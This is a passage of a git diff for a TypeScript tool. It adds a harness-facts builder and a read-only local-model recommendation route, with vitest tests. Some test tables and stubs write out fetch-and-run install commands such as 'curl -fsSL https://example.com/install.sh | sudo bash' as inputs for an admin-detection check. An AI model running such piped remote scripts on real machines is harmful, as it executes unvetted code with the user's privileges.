!( + forcedLaunchModel !== undefined && + modelSpec?.type === 'token' && + !matchesPattern(modelSpec.pattern, forcedLaunchModel) + ); + } catch { + // A recipe that cannot be rendered cannot be launched either. + return false; + } +} /** One fact per catalogue harness that resolves in the CLI registry, in catalogue order. */ -export async function buildHarnessFacts(catalog: LocalModelCatalog): Promise { - void catalog; - throw new Error('not implemented: buildHarnessFacts'); +export async function buildHarnessFacts( + catalog: LocalModelCatalog, + deps: Partial = {} +): Promise { + const resolved: HarnessFactsDeps = { ...defaultHarnessFactsDeps, ...deps }; + + let isInstalled: (entry: CliEntry) => boolean; + try { + isInstalled = await resolved.probeInstalled(); + } catch (err) { + console.warn( + `[local-model] The CLI availability probe failed, reading every harness as not installed: ${getErrorMessage(err)}` + ); + isInstalled = () => false; + } + + const facts: HarnessFact[] = []; + const seen = new Set(); + for (const row of catalog.harnesses) { + // The catalogue lists a CLI once; a second row for it adds nothing a fact could carry. + if (seen.has(row.cli)) continue; + seen.add(row.cli); + + const entry = resolved.getCli(row.cli); + if (!entry || !entry.enabled) continue; + if (entry.capabilities.customModelInjection.kind === 'unsupported') continue; + + let installed = false; + try { + installed = isInstalled(entry); + } catch (err) { + console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`); + } + + let installable = false; + if (!installed && entry.stock) { + const command = resolved.installCommandFor(entry); + installable = command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command); + } + + facts.push({ + cli: row.cli, + label: entry.label, + installed, + installable, + acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId), + }); + } + return facts; } diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index 4c4f7563..f4f0346b 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -1,25 +1,33 @@ /** * @fileoverview `GET /api/local-model`: what this Mac is and which local model fits it. * - * SKELETON: the route is registered and answers 501 until its handler is written. It will - * answer `{ success: true, data: LocalModelStatus }`, built from the hardware probe, the + * Answers `{ success: true, data: LocalModelStatus }`, built from the hardware probe, the * catalogue, the harness facts and the pure `recommend()`: - * `{ hardware, recommendation, catalogUpdated }`. + * `{ hardware, recommendation, catalogUpdated }`. Nothing is reformatted here: every size text + * and every sentence in the payload was chosen by the modules that produced it. * * Rules: * - Read-only. It downloads nothing, installs nothing, writes no file and reads no setting. - * - Never a 500 for a probe that failed: a failed probe is an answer (the hardware's `source` - * says so and the recommendation is verdict `none`). + * - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed + * in the hardware's `source` (`os-fallback`), and a server that is not on macOS as + * `not-probed`; both go out as a 200 whose recommendation is verdict `none` or computed + * from what is known. Should the probe itself reject (it promises not to), the route logs + * it and answers with what `node:os` knows (`hardwareFromOs()`), under the same two + * `source` values. + * - A 500 is left for a fault that is not a probe: the catalogue, the harness facts or + * `recommend()` throwing. That is a bug, and it must not be dressed up as "no model fits". * - The payload names hardware of the host, so in multi-user mode it is admin only (403), the - * same bar as `GET /api/doctor`. + * same bar as `GET /api/doctor`. The gate runs before anything is probed. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and * does not need a Mac: it passes its own hardware and harness facts. */ +import { arch, totalmem } from 'node:os'; import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; import { ApiErrorCode, createErrorResponse, + getErrorMessage, type ApiResponse, type HardwareFacts, type HarnessFact, @@ -27,7 +35,10 @@ import { type LocalModelStatus, type Recommendation, } from '../../types.js'; +import { isAdmin } from '../route-helpers.js'; +import { isMultiUserMode } from '../../config/multiuser.js'; import { getLocalModelCatalog } from '../../config/local-model-catalog.js'; +import { formatGb, memClassGb } from '../../local-model/format.js'; import { readHardware } from '../../local-model/hardware.js'; import { buildHarnessFacts } from '../../local-model/harness-facts.js'; import { recommend } from '../../local-model/recommend.js'; @@ -43,18 +54,57 @@ export interface LocalModelRouteDeps { export const defaultLocalModelRouteDeps: LocalModelRouteDeps = { readHardware: () => readHardware(), getCatalog: getLocalModelCatalog, - buildHarnessFacts, + buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), recommend, }; +/** + * The hardware answer when the probe rejected: memory and architecture from `node:os`, and the + * `source` the probe itself uses for "nothing was read from sysctl" (`os-fallback` on macOS, + * `not-probed` anywhere else). Sizes go through the one formatter, like every other size. + */ +export function hardwareFromOs(): HardwareFacts { + const memBytes = totalmem(); + return { + platform: process.platform, + arch: arch(), + memBytes, + memGb: formatGb(memBytes), + memClassGb: memClassGb(memBytes), + source: process.platform === 'darwin' ? 'os-fallback' : 'not-probed', + }; +} + export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial = {}): void { const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps }; - void resolved; app.get( '/api/local-model', - async (_req: FastifyRequest, reply: FastifyReply): Promise> => { - reply.code(501); - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, 'GET /api/local-model is not implemented yet'); + async (req: FastifyRequest, reply: FastifyReply): Promise> => { + if (isMultiUserMode() && !isAdmin(req)) { + reply.code(403); + return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode'); + } + + let hardware: HardwareFacts; + try { + hardware = await resolved.readHardware(); + } catch (err) { + console.warn(`[local-model] The hardware probe failed, answering from node:os: ${getErrorMessage(err)}`); + hardware = hardwareFromOs(); + } + + try { + const catalog = resolved.getCatalog(); + const harnessFacts = await resolved.buildHarnessFacts(catalog); + const recommendation = resolved.recommend(hardware, catalog, harnessFacts); + return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated } }; + } catch (err) { + reply.code(500); + return createErrorResponse( + ApiErrorCode.INTERNAL_ERROR, + `The local model recommendation failed: ${getErrorMessage(err)}` + ); + } } ); } diff --git a/test/local-model-harness-facts.test.ts b/test/local-model-harness-facts.test.ts new file mode 100644 index 00000000..7c0409b7 --- /dev/null +++ b/test/local-model-harness-facts.test.ts @@ -0,0 +1,306 @@ +/** + * @fileoverview `buildHarnessFacts()`: what the server knows about each catalogue harness on + * this machine (src/local-model/harness-facts.ts), read from the CLI registry at call time. + * + * The catalogue here is the test's own: the stock one is filled by another module and its rows + * are not what this file is about. The registry is the REAL stock registry unless a test says + * otherwise, so the model id anchors below are regression anchors on shipped data. + * + * Two things a reader should know before trusting a green run: + * - Under vitest the real availability probe is inert (it finds no CLI). A test that cares + * about `installed` therefore injects `probeInstalled`. + * - The registry's install command resolver reads `process.platform` and falls back to the + * Linux command, so on a Linux machine it never returns a macOS command. The macOS cases + * inject `installCommandFor` and read the entry's own `darwin` command. + * + * Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts). + */ + +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { + buildHarnessFacts, + cliAcceptsCustomModelId, + installCommandNeedsAdmin, +} from '../src/local-model/harness-facts.js'; +import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js'; +import type { CliEntry } from '../src/config/cli-registry/types.js'; +import type { LocalModelCatalog } from '../src/types.js'; + +/** A catalogue whose harness rows are `clis`, in that order. Nothing else in it matters here. */ +function catalogWith(clis: string[]): LocalModelCatalog { + return { + schema: 1, + updated: '2026-11-06', + minMacosMajor: 14, + promptCacheTiers: [{ minMemGb: 0, bytes: 512 * 1024 * 1024 }], + models: [], + harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })), + chips: [], + }; +} + +function stockEntry(id: string): CliEntry { + const entry = getCli(id); + if (!entry) throw new Error(`${id} is missing from the CLI registry`); + return entry; +} + +/** The command the registry holds for macOS, whatever machine the test runs on. */ +const darwinCommand = (entry: CliEntry): string | undefined => entry.discovery.install.command.darwin; + +/** A probe that reports exactly these CLIs as installed. */ +const installedOnly = + (...ids: string[]) => + async () => + (entry: CliEntry) => + ids.includes(entry.id as string); + +afterEach(() => { + const path = registryFilePath(); + if (existsSync(path)) rmSync(path); + reloadCliRegistry(); + vi.restoreAllMocks(); +}); + +describe('installCommandNeedsAdmin', () => { + it.each([ + ['brew install can1357/tap/omp', true], + [' brew install something', true], + ['sudo apt install something', true], + ['curl -fsSL https://example.com/install.sh | sudo bash', true], + ['npm install -g thing && sudo ln -s a b', true], + ['echo first; brew install thing', true], + ['echo first\nsudo make install', true], + ['(brew install thing)', true], + ['curl -fsSL https://opencode.ai/install | bash', false], + ['curl -fsSL https://claude.ai/install.sh | bash', false], + ['npm install -g --ignore-scripts @earendil-works/pi-coding-agent', false], + ['npm install -g @deepseek-ai/dsh && (command -v pnpm >/dev/null || npm install -g pnpm)', false], + // The words inside a URL, a package name or an argument are not a command. + ['curl -fsSL https://brew.sh/install.sh | bash', false], + ['npm install -g homebrew-sudo-helper', false], + ['echo sudo', false], + ])('%s -> %s', (command, expected) => { + expect(installCommandNeedsAdmin(command)).toBe(expected); + }); + + it('agrees with the registry on every stock macOS command: only a Homebrew one needs an administrator', () => { + expect(installCommandNeedsAdmin(darwinCommand(stockEntry('omp')) ?? '')).toBe(true); + for (const id of ['claude', 'opencode', 'codex', 'pi']) { + expect(installCommandNeedsAdmin(darwinCommand(stockEntry(id)) ?? '')).toBe(false); + } + }); +}); + +describe('cliAcceptsCustomModelId (the launch path’s model id test, on the stock registry)', () => { + it('accepts a registry style `name:tag` id for the CLIs that can carry a colon', () => { + // opencode and claude select the model in their config or environment: no launch id at all. + // pi and codex force the id onto `--model`, and both of their patterns allow a colon. + for (const id of ['opencode', 'claude', 'pi', 'codex']) { + expect(cliAcceptsCustomModelId(stockEntry(id), 'qwen3.5:9b')).toBe(true); + } + }); + + it('refuses a colon for a CLI whose `--model` pattern has none, and accepts the same CLI without it', () => { + const omp = stockEntry('omp'); + expect(cliAcceptsCustomModelId(omp, 'qwen3.5:9b')).toBe(false); + expect(cliAcceptsCustomModelId(omp, 'qwen3-coder')).toBe(true); + }); + + it('refuses the ids the launch routes’ own tests refuse', () => { + // test/routes/quick-start-custom-model.test.ts pins both pairs against the real route. + expect(cliAcceptsCustomModelId(stockEntry('pi'), 'qwen 3 with spaces')).toBe(false); + expect(cliAcceptsCustomModelId(stockEntry('codex'), 'org/model@q4_k_m')).toBe(false); + }); + + it('is false for a CLI with no custom model mechanism', () => { + expect(cliAcceptsCustomModelId(stockEntry('shell'), 'qwen3.5:9b')).toBe(false); + expect(cliAcceptsCustomModelId(stockEntry('antigravity'), 'qwen3.5:9b')).toBe(false); + }); + + it('reads the entry it is given, so a changed pattern changes the answer (no id is looked at)', () => { + const omp = stockEntry('omp'); + const widened: CliEntry = { + ...omp, + launch: { ...omp.launch, params: { ...omp.launch.params, model: { type: 'token', pattern: 'model-pi' } } }, + }; + expect(cliAcceptsCustomModelId(widened, 'qwen3.5:9b')).toBe(true); + }); +}); + +describe('buildHarnessFacts', () => { + it('answers one fact per catalogue harness, in catalogue order, with the registry’s label', async () => { + const facts = await buildHarnessFacts(catalogWith(['pi', 'opencode', 'claude']), { + probeInstalled: installedOnly('opencode'), + installCommandFor: darwinCommand, + }); + expect(facts.map((f) => f.cli)).toEqual(['pi', 'opencode', 'claude']); + expect(facts.map((f) => f.label)).toEqual(['pi', 'opencode', 'claude'].map((id) => stockEntry(id).label)); + expect(facts.map((f) => f.installed)).toEqual([false, true, false]); + }); + + it('leaves out a CLI the registry does not know, one with no custom model mechanism, and a disabled one', async () => { + const disabled = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry && id === 'claude' ? { ...entry, enabled: false } : entry; + }; + const facts = await buildHarnessFacts(catalogWith(['no-such-cli', 'shell', 'antigravity', 'claude', 'opencode']), { + getCli: disabled, + probeInstalled: installedOnly(), + }); + expect(facts.map((f) => f.cli)).toEqual(['opencode']); + }); + + it('keeps one fact for a CLI the catalogue lists twice', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'opencode']), { probeInstalled: installedOnly() }); + expect(facts.map((f) => f.cli)).toEqual(['opencode']); + }); + + it('installable: not installed, a stock CLI, and a macOS command that needs no administrator', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), { + probeInstalled: installedOnly('claude'), + installCommandFor: darwinCommand, + }); + const byCli = new Map(facts.map((f) => [f.cli, f])); + // curl installer into the home directory. + expect(byCli.get('opencode')).toMatchObject({ installed: false, installable: true }); + // Already there: nothing to install. + expect(byCli.get('claude')).toMatchObject({ installed: true, installable: false }); + // npm: the install runner points it at a prefix the server user can write. + expect(byCli.get('pi')).toMatchObject({ installed: false, installable: true }); + // Homebrew on macOS. + expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false }); + }); + + it('installable is false without an install command, for a sudo command, and for a custom entry', async () => { + const command = vi.fn<(entry: CliEntry) => string | undefined>(); + command.mockReturnValueOnce(undefined); + expect( + ( + await buildHarnessFacts(catalogWith(['opencode']), { + probeInstalled: installedOnly(), + installCommandFor: command, + }) + )[0].installable + ).toBe(false); + command.mockReturnValueOnce(' '); + expect( + ( + await buildHarnessFacts(catalogWith(['opencode']), { + probeInstalled: installedOnly(), + installCommandFor: command, + }) + )[0].installable + ).toBe(false); + command.mockReturnValueOnce('sudo installer -pkg agent.pkg -target /'); + expect( + ( + await buildHarnessFacts(catalogWith(['opencode']), { + probeInstalled: installedOnly(), + installCommandFor: command, + }) + )[0].installable + ).toBe(false); + + // A custom entry's install command is never run by the install runner, so it is never + // offered, however harmless the text looks. + const custom = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry ? { ...entry, stock: false } : entry; + }; + const harmless = vi.fn(() => 'curl -fsSL https://example.com/install | bash'); + const facts = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: custom, + probeInstalled: installedOnly(), + installCommandFor: harmless, + }); + expect(facts[0].installable).toBe(false); + expect(harmless).not.toHaveBeenCalled(); + }); + + it('never reads an install command for a CLI that is already installed', async () => { + const command = vi.fn(() => 'curl -fsSL https://example.com/install | bash'); + const facts = await buildHarnessFacts(catalogWith(['opencode']), { + probeInstalled: installedOnly('opencode'), + installCommandFor: command, + }); + expect(facts[0]).toMatchObject({ installed: true, installable: false }); + expect(command).not.toHaveBeenCalled(); + }); + + it('acceptsModelId is the launch path’s test for that harness', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), { + probeInstalled: installedOnly(), + }); + const accepts = (cli: string, modelId: string) => facts.find((f) => f.cli === cli)?.acceptsModelId(modelId); + expect(accepts('opencode', 'qwen3.5:9b')).toBe(true); + expect(accepts('claude', 'qwen3.8:27b-q8_0')).toBe(true); + expect(accepts('pi', 'gpt-oss:20b')).toBe(true); + expect(accepts('omp', 'gpt-oss:20b')).toBe(false); + }); + + it('asks the availability probe once per build, not once per harness', async () => { + const probe = vi.fn(installedOnly('opencode')); + await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']), { probeInstalled: probe }); + expect(probe).toHaveBeenCalledTimes(1); + }); + + it('a probe that fails is an answer: every harness reads as not installed, and install data still counts', async () => { + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + const facts = await buildHarnessFacts(catalogWith(['opencode', 'omp']), { + probeInstalled: async () => { + throw new Error('login shell did not answer'); + }, + installCommandFor: darwinCommand, + }); + expect(facts.map((f) => [f.cli, f.installed, f.installable])).toEqual([ + ['opencode', false, true], + ['omp', false, false], + ]); + expect(warn).toHaveBeenCalledTimes(1); + expect(String(warn.mock.calls[0][0])).toContain('login shell did not answer'); + }); + + it('a probe that throws for one harness does not take the others down', async () => { + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude']), { + probeInstalled: async () => (entry) => { + if (entry.label === stockEntry('opencode').label) throw new Error('boom'); + return true; + }, + }); + expect(facts.map((f) => [f.cli, f.installed])).toEqual([ + ['opencode', false], + ['claude', true], + ]); + expect(warn).toHaveBeenCalledTimes(1); + }); + + it('reads the registry when it is called, not when the module loaded', async () => { + const before = await buildHarnessFacts(catalogWith(['opencode', 'claude'])); + expect(before.map((f) => f.cli)).toEqual(['opencode', 'claude']); + + // The user disables a CLI in ~/.codeman/clis.json after the module was imported. + const path = registryFilePath(); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, JSON.stringify({ schemaVersion: 1, clis: { opencode: { enabled: false } } }), { mode: 0o600 }); + reloadCliRegistry(); + + const after = await buildHarnessFacts(catalogWith(['opencode', 'claude'])); + expect(after.map((f) => f.cli)).toEqual(['claude']); + }); + + it('with its default dependencies it spawns nothing under vitest and finds no CLI installed', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi'])); + expect(facts.map((f) => f.cli)).toEqual(['opencode', 'claude', 'pi']); + expect(facts.every((f) => f.installed === false)).toBe(true); + // opencode's install command is a curl installer on every platform the registry lists. + expect(facts[0].installable).toBe(true); + }); + + it('an empty harness list is an empty answer', async () => { + expect(await buildHarnessFacts(catalogWith([]))).toEqual([]); + }); +}); diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts new file mode 100644 index 00000000..a3e7d31c --- /dev/null +++ b/test/routes/local-model-routes.test.ts @@ -0,0 +1,422 @@ +/** + * @fileoverview GET /api/local-model: what this Mac is and which local model fits it. + * + * The route only composes four injected functions (the hardware probe, the catalogue getter, + * the harness facts and the pure `recommend()`), so every test passes its own and no test + * depends on what those modules compute. What is pinned here is the route's own contract: + * the envelope, the admin gate in multi-user mode, that an unsupported platform and a failed + * probe are answers (200) and never a 500, what does answer 500, and that a request writes + * nothing. + * + * Port: N/A (app.inject()). + */ +import { afterEach, describe, expect, it, vi, type Mock } from 'vitest'; +import { existsSync, lstatSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs'; +import { arch, homedir, totalmem } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { createRouteTestHarness } from './_route-test-utils.js'; +import { + defaultLocalModelRouteDeps, + hardwareFromOs, + registerLocalModelRoutes, + type LocalModelRouteDeps, +} from '../../src/web/routes/local-model-routes.js'; +import { buildHarnessFacts } from '../../src/local-model/harness-facts.js'; +import { formatGb, memClassGb } from '../../src/local-model/format.js'; +import { getDataDir } from '../../src/config/instance.js'; +import { + LOCAL_MODEL_LABELS, + type HardwareFacts, + type HarnessFact, + type LocalModelCatalog, + type Recommendation, +} from '../../src/types.js'; + +const CATALOG: LocalModelCatalog = { + schema: 1, + updated: '2026-11-06', + minMacosMajor: 14, + promptCacheTiers: [ + { minMemGb: 0, bytes: 512 * 1024 * 1024 }, + { minMemGb: 32, bytes: 2 * 1024 ** 3 }, + ], + models: [], + harnesses: [ + { cli: 'opencode', minContext: 65536, rank: 3 }, + { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, + ], + chips: [], +}; + +/** A 48 GB Apple silicon Mac whose chip is in no chips row, as the probe would report it. */ +const MAC: HardwareFacts = { + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes: 51539607552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + model: 'Mac17,13', + macosVersion: '27.2', + macosMajor: 27, + wiredLimitMb: 0, + freeDiskBytes: 912308310016, + freeDiskGb: '912', + source: 'sysctl', +}; + +/** The same Mac after a `sysctl` spawn that failed: `node:os` supplied what little is known. */ +const MAC_FALLBACK: HardwareFacts = { + platform: 'darwin', + arch: 'arm64', + memBytes: 51539607552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + source: 'os-fallback', +}; + +const LINUX: HardwareFacts = { + platform: 'linux', + arch: 'x64', + memBytes: 67430404096, + memGb: '67.4', + memClassGb: 63, + source: 'not-probed', +}; + +const OK: Recommendation = { + verdict: 'ok', + headline: { text: LOCAL_MODEL_LABELS.headlineOk }, + notes: [{ text: LOCAL_MODEL_LABELS.noteUntested }], + pick: { + modelId: 'qwen3.8:27b', + modelLabel: 'Qwen3.8 27B', + license: 'Apache-2.0', + paramsB: 27.8, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + cliInstalled: true, + needBytes: 29551160064, + needGb: '29.6', + downloadBytes: 17740000000, + downloadGb: '17.7', + budgetShare: 0.79, + fit: 'good', + fitLabel: LOCAL_MODEL_LABELS.fitGood, + speed: 'unknown', + speedLabel: LOCAL_MODEL_LABELS.speedUnknown, + tested: false, + }, + alternatives: [], + budgetBytes: 37580963840, + budgetGb: '37.6', + budgetSource: 'estimated', +}; + +const NOT_MACOS: Recommendation = { + verdict: 'none', + reason: 'not-macos', + headline: { text: LOCAL_MODEL_LABELS.noneNotMacos }, + notes: [], + alternatives: [], + budgetBytes: 0, + budgetGb: '0.0', + budgetSource: 'estimated', +}; + +const FACTS: HarnessFact[] = [ + { cli: 'opencode', label: 'OpenCode', installed: true, installable: false, acceptsModelId: () => true }, +]; + +interface Fakes { + deps: LocalModelRouteDeps; + readHardware: Mock; + getCatalog: Mock; + buildHarnessFacts: Mock; + recommend: Mock; +} + +function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = OK): Fakes { + const readHardware = vi.fn(async () => hardware); + const getCatalog = vi.fn(() => CATALOG); + const buildFacts = vi.fn(async () => FACTS); + const recommend = vi.fn(() => recommendation); + return { + deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend }, + readHardware, + getCatalog, + buildHarnessFacts: buildFacts, + recommend, + }; +} + +const harness = (deps: Partial, authUser?: { username: string; role: 'admin' | 'user' }) => + createRouteTestHarness((app) => registerLocalModelRoutes(app, deps), authUser ? { authUser } : undefined); + +const get = async (deps: Partial, authUser?: { username: string; role: 'admin' | 'user' }) => { + const { app } = await harness(deps, authUser); + return app.inject({ method: 'GET', url: '/api/local-model' }); +}; + +/** Every file and folder under `root`, with its size and modification time. */ +function snapshot(root: string): string[] { + if (!existsSync(root)) return []; + const rows: string[] = []; + const walk = (dir: string) => { + for (const name of readdirSync(dir).sort()) { + const path = join(dir, name); + const stat = lstatSync(path); + rows.push(`${path} ${stat.isDirectory() ? 'dir' : stat.size} ${stat.mtimeMs}`); + if (stat.isDirectory()) walk(path); + } + }; + walk(root); + return rows; +} + +afterEach(() => { + delete process.env.CODEMAN_MULTIUSER; + vi.restoreAllMocks(); +}); + +describe('GET /api/local-model', () => { + it('answers the success envelope with the hardware, the recommendation and the catalogue date', async () => { + const f = fakes(); + const res = await get(f.deps); + expect(res.statusCode).toBe(200); + expect(res.json()).toEqual({ + success: true, + data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06' }, + }); + }); + + it('hands recommend() exactly what the probe, the catalogue and the harness facts answered', async () => { + const f = fakes(); + await get(f.deps); + expect(f.readHardware).toHaveBeenCalledTimes(1); + expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1); + expect(f.buildHarnessFacts).toHaveBeenCalledWith(CATALOG); + expect(f.recommend).toHaveBeenCalledTimes(1); + const [hw, catalog, facts] = f.recommend.mock.calls[0]; + expect(hw).toBe(MAC); + expect(catalog).toBe(CATALOG); + expect(facts).toBe(FACTS); + }); + + it('sends the payload as the modules built it: no size is reformatted and no function leaks', async () => { + const res = await get(fakes().deps); + const { data } = res.json(); + expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'recommendation']); + expect(data.hardware.memGb).toBe('51.5'); + expect(data.hardware.freeDiskGb).toBe('912'); + expect(data.recommendation.pick.needGb).toBe('29.6'); + expect(data.recommendation.budgetGb).toBe('37.6'); + // Harness facts hold a function and stay on the server. + expect(res.body).not.toContain('acceptsModelId'); + expect(res.body).not.toContain('installable'); + }); + + it('registers a GET and nothing else: this stage has no route that changes anything', async () => { + const { app } = await harness(fakes().deps); + expect((await app.inject({ method: 'POST', url: '/api/local-model', payload: {} })).statusCode).toBe(404); + expect((await app.inject({ method: 'DELETE', url: '/api/local-model' })).statusCode).toBe(404); + }); + + describe('multi-user mode', () => { + it('refuses a non-admin with 403 before anything is probed', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const res = await get(f.deps, { username: 'bob', role: 'user' }); + expect(res.statusCode).toBe(403); + expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' }); + expect(res.body).not.toContain('Apple M5 Pro'); + expect(f.readHardware).not.toHaveBeenCalled(); + expect(f.getCatalog).not.toHaveBeenCalled(); + expect(f.buildHarnessFacts).not.toHaveBeenCalled(); + expect(f.recommend).not.toHaveBeenCalled(); + }); + + it('answers an admin', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const res = await get(fakes().deps, { username: 'root', role: 'admin' }); + expect(res.statusCode).toBe(200); + expect(res.json().data.hardware.chip).toBe('Apple M5 Pro'); + }); + + it('is not gated while multi-user mode is off, whoever asks', async () => { + const res = await get(fakes().deps, { username: 'bob', role: 'user' }); + expect(res.statusCode).toBe(200); + }); + }); + + describe('an unsupported platform is an answer', () => { + it('answers 200 with verdict none and reason not-macos on a server that is not a Mac', async () => { + const f = fakes(LINUX, NOT_MACOS); + const res = await get(f.deps); + expect(res.statusCode).toBe(200); + const { success, data } = res.json(); + expect(success).toBe(true); + expect(data.hardware).toEqual(LINUX); + expect(data.hardware.source).toBe('not-probed'); + expect(data.recommendation.verdict).toBe('none'); + expect(data.recommendation.reason).toBe('not-macos'); + expect(data.recommendation.pick).toBeUndefined(); + expect(data.recommendation.alternatives).toEqual([]); + expect(data.recommendation.headline.text).toBe(LOCAL_MODEL_LABELS.noneNotMacos); + expect(data.catalogUpdated).toBe('2026-11-06'); + expect(f.recommend.mock.calls[0][0]).toBe(LINUX); + }); + }); + + describe('a failed probe is an answer', () => { + it('answers 200 when the probe reports that sysctl failed (source os-fallback)', async () => { + const f = fakes(MAC_FALLBACK, OK); + const res = await get(f.deps); + expect(res.statusCode).toBe(200); + expect(res.json().data.hardware).toEqual(MAC_FALLBACK); + expect(res.json().data.recommendation.verdict).toBe('ok'); + }); + + it('answers 200 from node:os when the probe itself rejects, and still recommends', async () => { + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + const f = fakes(); + f.readHardware.mockRejectedValue(new Error('spawn EAGAIN')); + const res = await get(f.deps); + expect(res.statusCode).toBe(200); + const { success, data } = res.json(); + expect(success).toBe(true); + expect(data.hardware).toEqual(hardwareFromOs()); + expect(data.hardware.memBytes).toBe(totalmem()); + expect(data.recommendation).toEqual(OK); + expect(f.recommend).toHaveBeenCalledTimes(1); + expect(f.recommend.mock.calls[0][0]).toEqual(hardwareFromOs()); + expect(String(warn.mock.calls[0][0])).toContain('spawn EAGAIN'); + }); + + it('hardwareFromOs() is a complete answer of its own, sized by the one formatter', () => { + const hw = hardwareFromOs(); + expect(hw.platform).toBe(process.platform); + expect(hw.arch).toBe(arch()); + expect(hw.memBytes).toBe(totalmem()); + expect(hw.memGb).toBe(formatGb(totalmem())); + expect(hw.memClassGb).toBe(memClassGb(totalmem())); + expect(hw.source).toBe(process.platform === 'darwin' ? 'os-fallback' : 'not-probed'); + // Nothing that only sysctl or statfs can know is invented. + expect(Object.keys(hw).sort()).toEqual(['arch', 'memBytes', 'memClassGb', 'memGb', 'platform', 'source']); + }); + + it('answers 200 when no harness fact could be built (the facts are just empty)', async () => { + const none: Recommendation = { + ...NOT_MACOS, + reason: 'no-harness', + headline: { text: LOCAL_MODEL_LABELS.noneNoHarness }, + }; + const f = fakes(MAC, none); + f.buildHarnessFacts.mockResolvedValue([]); + const res = await get(f.deps); + expect(res.statusCode).toBe(200); + expect(res.json().data.recommendation.reason).toBe('no-harness'); + expect(f.recommend.mock.calls[0][2]).toEqual([]); + }); + }); + + describe('a fault that is not a probe is a 500 in the envelope, never a made-up answer', () => { + it.each([ + [ + 'recommend() throws', + (f: Fakes) => + f.recommend.mockImplementation(() => { + throw new Error('rank table is empty'); + }), + 'rank table is empty', + ], + [ + 'the catalogue getter throws', + (f: Fakes) => + f.getCatalog.mockImplementation(() => { + throw new Error('catalogue did not parse'); + }), + 'catalogue did not parse', + ], + [ + 'the harness facts reject', + (f: Fakes) => f.buildHarnessFacts.mockRejectedValue(new Error('registry unreadable')), + 'registry unreadable', + ], + ])('%s', async (_label, breakIt, message) => { + const f = fakes(); + breakIt(f); + const res = await get(f.deps); + expect(res.statusCode).toBe(500); + const body = res.json(); + expect(body.success).toBe(false); + expect(body.errorCode).toBe('INTERNAL_ERROR'); + expect(body.error).toContain(message); + expect(body.data).toBeUndefined(); + }); + }); + + describe('read-only', () => { + it('writes nothing: the home directory and the data dir are byte for byte what they were', async () => { + // The real harness facts (they read the CLI registry and run the availability probe), + // the route's own composition, and a hardware answer and a recommendation of the test's. + const f = fakes(); + const { app } = await harness({ ...f.deps, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog) }); + + const home = homedir(); + const before = snapshot(home); + const dataDirExisted = existsSync(getDataDir()); + + for (let i = 0; i < 3; i++) { + const res = await app.inject({ method: 'GET', url: '/api/local-model' }); + expect(res.statusCode).toBe(200); + } + // A refused request and a failing one write nothing either. + f.recommend.mockImplementationOnce(() => { + throw new Error('boom'); + }); + expect((await app.inject({ method: 'GET', url: '/api/local-model' })).statusCode).toBe(500); + + expect(snapshot(home)).toEqual(before); + expect(existsSync(getDataDir())).toBe(dataDirExisted); + expect(existsSync(join(getDataDir(), 'settings.json'))).toBe(false); + expect(existsSync(join(getDataDir(), 'local-model.json'))).toBe(false); + expect(existsSync(join(getDataDir(), 'local-models.json'))).toBe(false); + // The facts really were built from the registry for the catalogue's two harnesses. + expect(f.recommend.mock.calls[0][2].map((fact) => fact.cli)).toEqual(['opencode', 'claude']); + + // The comparison above is not vacuous: one new file in the home directory shows up. + const probe = join(home, 'local-model-route-test-probe'); + writeFileSync(probe, 'x'); + try { + 